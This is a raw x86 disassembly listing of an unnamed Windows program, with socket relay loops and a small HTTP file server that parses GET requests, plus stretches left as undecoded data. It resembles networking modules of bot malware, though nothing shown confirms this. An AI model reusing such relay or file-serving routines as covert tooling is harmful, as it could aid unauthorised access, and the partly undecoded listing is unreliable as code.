		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47F:				; CODE XREF: ___:0040E49Bj
					; ___:0040E4B7j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE394
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_40E47F
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE390
		nop
		call	near ptr 2700649h
		jmp	short loc_40E47F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C2:				; CODE XREF: ___:0040E4E8j
					; ___:0040E502j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE384
		nop
		call	near ptr 27102B0h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C2
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE394
		call	dword_4CB6A4
		jmp	short loc_40E4C2
; ---------------------------------------------------------------------------
dword_40E504	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2D0Eo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 59E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB654h, 6A56066Ah, 45896602h, 0D415FFCAh
		dd 89004CB6h, 458D0845h, 50106AC8h, 0FF0875FFh,	4CB68015h
		dd 0FF056A00h, 15FF0875h, 4CB67Ch, 70FC1D8Bh, 358B0042h
		dd 427068h, 75FF5757h, 0E815FF08h, 0A3004CB6h, 4CE394h
		dd 57F4458Dh, 0E3906850h, 8C68004Ch, 0C7004CE3h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE388h
		dd 4CE38468h, 6AD3FF00h, 84458D44h, 0BDE85057h,	0A10000CFh
		dd 4CE38Ch, 890CC483h, 88A1BC45h, 89004CE3h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 6AE890B4h, 5002311Fh, 0E38835FFh,	0E890004Ch
		dd 2311F5Dh, 0E5E89050h, 8D023119h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433C0468h
		dd 0FCE85700h, 90022726h, 50E8458Dh, 0B9685757h, 8D0040E4h
		dd 5057F445h, 19AAE890h, 45890229h, 0E8458DECh,	68575750h
		dd 40E476h, 57F4458Dh, 91E89050h, 6A022919h, 0F04589FFh
		dd 90D875FFh, 2A1AD5E8h, 75FF5702h, 0A7E890F0h,	57022A22h
		dd 90EC75FFh, 2A229DE8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 3025E0E8h, 8C35FF02h, 0FF004CE3h,	9035FFD6h
		dd 0FF004CE3h, 8435FFD6h, 0FF004CE3h, 8835FFD6h, 0FF004CE3h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9F9Dh, 0E39CA359h
		dd 0C359004Ch
dword_40E6F0	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BACE+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 6DE85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB654h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CB6D415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFB2FFh, 8D14C483h, 0FFFD4085h, 2AE850FFh
		dd 0FF00006Ah, 0FFFF54B5h, 0CC85E8FFh, 5959FFFFh, 28E89053h
		dd 8B022E21h, 0FFFF5485h, 69106AFFh, 234C0h, 9CB88900h
		dd 8D0043E5h, 5750EC45h, 0B68015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB5E815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB27Fh, 8D14C483h
		dd 0FFFD4085h, 0AAE850FFh, 0FF000069h, 0FFFF54B5h, 0CC05E8FFh
		dd 5959FFFFh, 20A9E856h, 6890022Eh, 0FFFEh, 9E63E853h
		dd 0A3590000h, 4CE39Ch,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0B68015FFh, 0C63B004Ch, 15FF5475h, 4CB5E8h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 4E8FFFFh, 83FFFFB2h
		dd 858D14C4h, 0FFFFFD40h, 692FE850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFCB8AE8h, 565959FFh, 202DE890h, 56A022Eh, 7C15FF57h
		dd 3B004CB6h, 0D4840FC6h, 0C7000000h, 10FC45h, 0CBE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CB6E815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFB186E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 68B1h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB66Ch, 74FFF883h, 0FF565696h, 4CB39035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFC2E4h, 0C685059h, 8D00433Ch, 0FFF94085h
		dd 0E85053FFh, 0D040h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C68FE8h, 8D505900h,	0FFF94085h, 75FF50FFh, 0A415FF08h
		dd 83004CB6h, 840FFFF8h, 0FFFFFF43h, 0E3A405FFh, 38E9004Ch
		dd 57FFFFFFh, 0B6EC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFCA8AE8h
		dd 6A59FFh, 1F2DE890h
		db 2Eh,	2
word_40E992	dw 8B55h		; DATA XREF: sub_40BACE+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89E45Dh, 0DC5D89D4h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 57F8E890h, 5356716Ah, 0E890026Ah
		dd 716A5236h, 71F4358Bh, 4D8D0042h, 51046AE4h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AD4h,	8B57FB6Ah
		dd 0FF57F87Dh, 0DC458DD6h, 667E6850h, 90578004h, 6A2B35E8h
		dd 90A16671h, 83004CB3h, 5000B865h, 0B445C766h,	15FF0002h
		dd 4CB654h, 0B6458966h,	6AB4458Dh, 0E8575010h, 716A5482h
		dd 7DC08590h, 0E9C38B07h, 560h,	90570A6Ah, 6A7381E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272241Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A2DF3E8h, 0F8839071h
		dd 0E840FFFh, 33000005h, 0FC7539FFh, 7C087D89h,	6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0CACEE850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0CABFE8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 17C75E8h, 0FC08500h,	4BA84h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 90F875FFh, 6A9B84E8h
		dd 0FFF88371h, 491840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
		dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
		dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
		dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
		dd 68156A56h, 433ED4h, 0E9D3FF50h, 43Bh, 60858D56h, 6AFFFFFDh
		dd 0E8575064h, 716A6B18h, 7FC08590h, 0D4958B52h, 33FFFFFDh
		dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h,	3B04C083h
		dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
		dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
		dd 57FFFFFDh, 6A2EA4E8h, 0D4E99071h, 8D000003h,	0FFFCC885h
		dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh,	433ECCh
		dd 0DA57E850h, 858D0000h, 0FFFFFF50h, 433EC468h, 71E85000h
		dd 830000D4h, 0C08518C4h, 6A560D75h, 3EAC6816h,	82E90043h
		dd 8D000000h, 0FFFF5085h, 3EA468FFh, 0E8500043h, 0D44Ch
		dd 59C08559h, 6A560A75h, 3E8C6814h, 61EB0043h, 0FF50858Dh
		dd 8468FFFFh, 5000433Eh, 0D42BE8h, 0C0855900h, 560A7559h
		dd 74680D6Ah, 0EB00433Eh, 50858D40h, 68FFFFFFh,	433E6Ch
		dd 0D40AE850h, 85590000h, 0A7559C0h, 68106A56h,	433E58h
		dd 858D1FEBh, 0FFFFFF50h, 433E5468h, 0E9E85000h, 590000D3h
		dd 7559C085h, 1E6A560Eh, 433E3468h, 0F1E95700h,	0BF000002h
		dd 433E2Ch, 0FF50858Dh,	5057FFFFh, 0D3C3E8h, 0C0855900h
		dd 8D247559h, 0FFFCC885h, 3E2868FFh, 0E8500043h, 0D3ACh
		dd 59C08559h, 6A560D75h, 3E146813h, 0B2E90043h,	8D000002h
		dd 0FFFF5085h, 0E85057FFh, 0D38Ch, 59C08559h, 858D2475h
		dd 0FFFFFCC8h, 433E1068h, 75E85000h, 590000D3h,	7559C085h
		dd 136A560Dh, 433DFC68h, 27BE900h, 858D0000h, 0FFFFFF50h
		dd 433DF468h, 51E85000h, 590000D3h, 7559C085h, 0BE0A6A34h
		dd 433DC8h, 0D8BD8D59h,	0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
		dd 0E8A56650h, 0C29Ch, 858D5059h, 0FFFFFED8h, 875FF50h
		dd 0F633D3FFh, 235E9h, 50858D00h, 68FFFFFFh, 433DC0h, 0D306E850h
		dd 85590000h, 2A7559C0h, 0A8BE056Ah, 5900433Dh,	0FF38BD8Dh
		dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C250h
		dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 433DA068h
		dd 0C5E85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h
		dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h,	8D50E845h
		dd 8D50E045h, 8D50D845h, 0FFFD6085h, 3D7868FFh,	0E8500043h
		dd 0D861h, 0FF04858Dh, 0E850FFFFh, 0C989h, 858DF88Bh, 0FFFFFD2Ch
		dd 0C97BE850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
		dd 0C780h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 3D706857h
		dd 0E8500043h, 0CA5Eh, 858D106Ah, 0FFFFFF04h, 8EE85056h
		dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E8458D50h, 0E0458D50h
		dd 0D8458D50h, 0C4458D50h, 433D6468h, 2BE85000h, 830000CAh
		dd 6A5618C4h, 3D44681Dh, 1EE90043h, 8D000001h, 0FFFF5085h
		dd 3D3C68FFh, 0E8500043h, 0D1F4h, 59C08559h, 0E4850Fh
		dd 6A560000h, 3D106828h, 75FF0043h, 0FFD3FF08h,	458DF475h
		dd 20E850C4h, 59000001h, 5901F883h, 0B6850Fh, 458D0000h
		dd 858D50C4h, 0FFFFF720h, 433CF468h, 0C7E85000h, 830000C9h
		dd 0B5390CC4h, 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh
		dd 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 0AB89E8FFh
		dd 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h,	56000000h
		dd 0DC68176Ah, 0FF00433Ch, 0D3FF0875h, 50C4458Dh, 0F720858Dh
		dd 0BC68FFFFh, 5000433Ch, 0C969E8h, 0CC48300h, 0FBBCB539h
		dd 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh
		dd 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFFAB2Bh, 8D14C483h
		dd 0FFF72085h, 56E850FFh, 0FF000062h, 4CE16005h, 2EEB5900h
		dd 68206A56h, 433C98h, 858D1FEBh, 0FFFFFF50h, 42D08468h
		dd 0F5E85000h, 590000D0h, 7559C085h, 1B6A560Dh,	433C7C68h
		dd 875FF00h, 646AD3FFh,	0FD60858Dh, 5056FFFFh, 0C5F3E8h
		dd 87D8B00h, 470CC483h,	89FC7D3Bh, 8E0F087Dh, 0FFFFFB01h
		dd 0FFFAC1E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE3A8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE3A8
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F037
		push	dword_4CE3A8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F037:				; CODE XREF: ___:0040F01Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 2690000h
		nop
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B7
		push	edi
		mov	edi, 400h


loc_40F07F:				; CODE XREF: ___:0040F0B4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE3A8
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 2690F24h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07F
		pop	edi


loc_40F0B7:				; CODE XREF: ___:0040F077j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CE3A8
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D3:				; CODE XREF: ___:0040F071j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D6	proc near		; DATA XREF: sub_401ACD+2284o
					; sub_40BACE+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB654
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E59C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB6F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AD:				; CODE XREF: sub_40F0D6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E3:				; CODE XREF: sub_40F0D6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB540
		test	eax, eax
		jz	loc_40F4A7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F265
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F237
		lea	edx, [ebp+var_134]


loc_40F22B:				; CODE XREF: sub_40F0D6+15Fj
		cmp	[edx], eax
		jz	short loc_40F237
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22B


loc_40F237:				; CODE XREF: sub_40F0D6+14Dj
					; sub_40F0D6+157j
		cmp	ecx, ebx
		jnz	short loc_40F254
		cmp	ebx, 40h
		jnb	short loc_40F254
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F254:				; CODE XREF: sub_40F0D6+163j
					; sub_40F0D6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A7
		mov	[ebp+var_8], eax
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F265:				; CODE XREF: sub_40F0D6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		test	eax, eax
		jg	short loc_40F2F8
		push	esi
		call	dword_4CB6EC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A7
		lea	eax, [ebp+var_134]


loc_40F2B7:				; CODE XREF: sub_40F0D6+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B7
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2C8:				; CODE XREF: sub_40F0D6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EC
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D6:				; CODE XREF: sub_40F0D6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D6


loc_40F2EC:				; CODE XREF: sub_40F0D6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2F8:				; CODE XREF: sub_40F0D6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A7


loc_40F326:				; CODE XREF: sub_40F0D6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39F
		mov	eax, offset asc_42D124 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B6
; ---------------------------------------------------------------------------


loc_40F39F:				; CODE XREF: sub_40F0D6+27Fj
					; sub_40F0D6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433F14 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3EA


loc_40F3B6:				; CODE XREF: sub_40F0D6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CB:				; CODE XREF: sub_40F0D6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F326
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F3EA:				; CODE XREF: sub_40F0D6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F434
		lea	eax, [ebp+var_134]


loc_40F3F6:				; CODE XREF: sub_40F0D6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F407
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F6
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F407:				; CODE XREF: sub_40F0D6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42B
		lea	eax, [ebp+ecx*4+var_134]


loc_40F415:				; CODE XREF: sub_40F0D6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F415


loc_40F42B:				; CODE XREF: sub_40F0D6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F434:				; CODE XREF: sub_40F0D6+318j
		mov	esi, [ebp+var_4]


loc_40F437:				; CODE XREF: sub_40F0D6+32Fj
					; sub_40F0D6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F4A0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F4A0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B4
		add	esp, 14h
		jmp	short loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F4A0:				; CODE XREF: sub_40F0D6+369j
					; sub_40F0D6+38Fj
		push	esi
		call	dword_4CB6EC


loc_40F4A7:				; CODE XREF: sub_40F0D6+11Dj
					; sub_40F0D6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E3
		jmp	loc_40F1AD
; ---------------------------------------------------------------------------


loc_40F4BC:				; CODE XREF: sub_40F0D6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C1:				; CODE XREF: sub_40F0D6+6Aj
					; sub_40F0D6+92j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433EEC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F507
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A73
		add	esp, 14h


loc_40F507:				; CODE XREF: sub_40F0D6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_254]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F08BFh
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F531	proc near		; DATA XREF: sub_40F6B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F597
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59C
; ---------------------------------------------------------------------------


loc_40F597:				; CODE XREF: sub_40F531+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59C:				; CODE XREF: sub_40F531+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2731389h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
